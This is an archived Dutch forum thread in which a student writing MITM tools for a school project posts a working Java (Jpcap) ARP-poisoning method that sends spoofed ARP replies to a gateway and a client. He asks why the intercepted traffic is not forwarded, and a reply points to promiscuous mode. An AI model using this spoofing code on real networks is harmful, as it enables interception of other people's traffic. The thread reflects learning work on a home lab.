Archief - JAVA arp poisoning

Het archief is een bevroren moment uit een vorige versie van dit forum, met andere regels en andere bazen. Deze posts weerspiegelen op geen enkele manier onze huidige ideeën, waarden of wereldbeelden en zijn op sommige plaatsen gecensureerd wegens ontoelaatbaar. Veel zijn in een andere tijdsgeest gemaakt, al dan niet ironisch - zoals in het ironische subforum Off-Topic - en zouden op dit moment niet meer gepost (mogen) worden. Toch bieden we dit archief nog graag aan als informatiedatabank en naslagwerk. Lees er hier meer over of start een gesprek met anderen.

Slynx

Legacy Member
Haia iedereen,

Voor mijn eindwerk ben ik momenteel bezig omtrent MITM attacks. Hiervoor werd mij opgedragen mijn eigen tools te schrijven, een beetje in de richting van ettercap.
Nu, aan hand van de Jpcap library ben ik momenteel bezig aan mijn tools, waaronder arp poisoning.

Probleem:

Alles verloopt zonder problemen, de arp tables van mijn victims, momenteel mijn gateway en xp client worden probleemloos gepoisoned. Enige probleem is dat het verkeer niet geforwarded wordt naar zijn bestemming. Traffic forwarding is enabled, dus dat zou het probleem niet mogen zijn, dus vroeg ik me af of mijn probleem toch ergens in mijn sourcecode te vinden zou zijn.

Code:
private static void arpPoisonTarget1(JpcapCaptor captor, byte[] mac){
		//sender object aanmaken die het pakket kan versturen
		JpcapSender sender;
		//initialisatie ARPPacket
		ARPPacket p;

		//ARP pakket initialiseren
		ARPPacket arp;

		////Ethernet pakket initialiseren
		EthernetPacket ether;

		while (true) {
			//ARP request ontvangen en uitlezen
			p = (ARPPacket)captor.getPacket();
			
			if (p != null && p.operation == 1) {
				System.out.println(p.toString());
			
				//source mac - adress poisoning
				byte[] mac_fake = new byte[] { (byte) 254, (byte) 253,
				(byte) 252, (byte) 249, (byte) 11, (byte) 44 };
				//byte[] mac_fake = mac;
				
				byte[] scrip = p.target_protoaddr;
				byte[] mac_destination = new byte[]{ (byte) 0, (byte) 22, (byte) 206, (byte) 135, (byte) 125, (byte) 43 };
				
				//destination mac adres wordt opgehaald uit het ontvangen pakket
				byte[] destip = p.sender_protoaddr;
			
				//aanmaken nieuw arp packet, response
				arp = new ARPPacket();
			
				//parameters instellen voor het ARP packet
				arp.hardtype = ARPPacket.HARDTYPE_ETHER;
				arp.prototype = ARPPacket.PROTOTYPE_IP;
				arp.operation = ARPPacket.ARP_REPLY;
			
				arp.hlen = 6; 
				arp.plen = 4;
				arp.sender_hardaddr = mac_fake;
				arp.sender_protoaddr = scrip;
				arp.target_hardaddr = mac_destination;
				arp.target_protoaddr = destip;
			
				//Ethernetpakket aanmaken
				ether = new EthernetPacket();
				ether.frametype = EthernetPacket.ETHERTYPE_ARP;
				ether.src_mac = mac;
				ether.dst_mac = mac_destination;
				arp.datalink = ether;
			
				//instantie opvragen van captor device om het pakket te kunnen versturen welke instaat voor het verzenden van het ARP pakket
				sender = captor.getJpcapSenderInstance();
	
				sender.sendPacket(arp);
				System.out.println("ARP poisoning packet sent " + arp.toString());
			}
		}
	}

Voor target 2, exact dezelfde methode, enkel ander destination mac address.
Enige hulp, eeuwig dankbaar ;)

etl_mx

Legacy Member
Volgens mij zitten de normale parketten vast aan jouw gateway en ligt het niet aan je code.

Als ik me niet vergis zorgt de methode van jouw enkel voor de arp poisoning. Misschien dat je nog een methode moet schrijven de de normale pakketten behandeld of moet je nog iets instellen op je pc. ( nog geen ervaring met dit soort dingen .)

Nog vraag, staat je pc in promiscuous mode, want als dit af staat zal hij alle pakketten droppen die niet voor jouw pc bestemd zijn.

Slynx

Legacy Member
Bedankt voor het antwoord alvast.
Na nader inzien heb ik opgemerkt dat op mijn ene laptop mijn wifi kaartje problemen heeft met promiscuous mode, ben dus overgestapt op mijn andere laptop.

Als ik thuis ben ga ik even controleren of mijn arp poisoning + gewoon forwarding wel werkt, en even controleren welke weg mijn pakketjes afleggen met wireshark, ik zal mijn bevindingen hier dan wel even posten.
Het archief is een bevroren moment uit een vorige versie van dit forum, met andere regels en andere bazen. Deze posts weerspiegelen op geen enkele manier onze huidige ideeën, waarden of wereldbeelden en zijn op sommige plaatsen gecensureerd wegens ontoelaatbaar. Veel zijn in een andere tijdsgeest gemaakt, al dan niet ironisch - zoals in het ironische subforum Off-Topic - en zouden op dit moment niet meer gepost (mogen) worden. Toch bieden we dit archief nog graag aan als informatiedatabank en naslagwerk. Lees er hier meer over of start een gesprek met anderen.
Terug
Bovenaan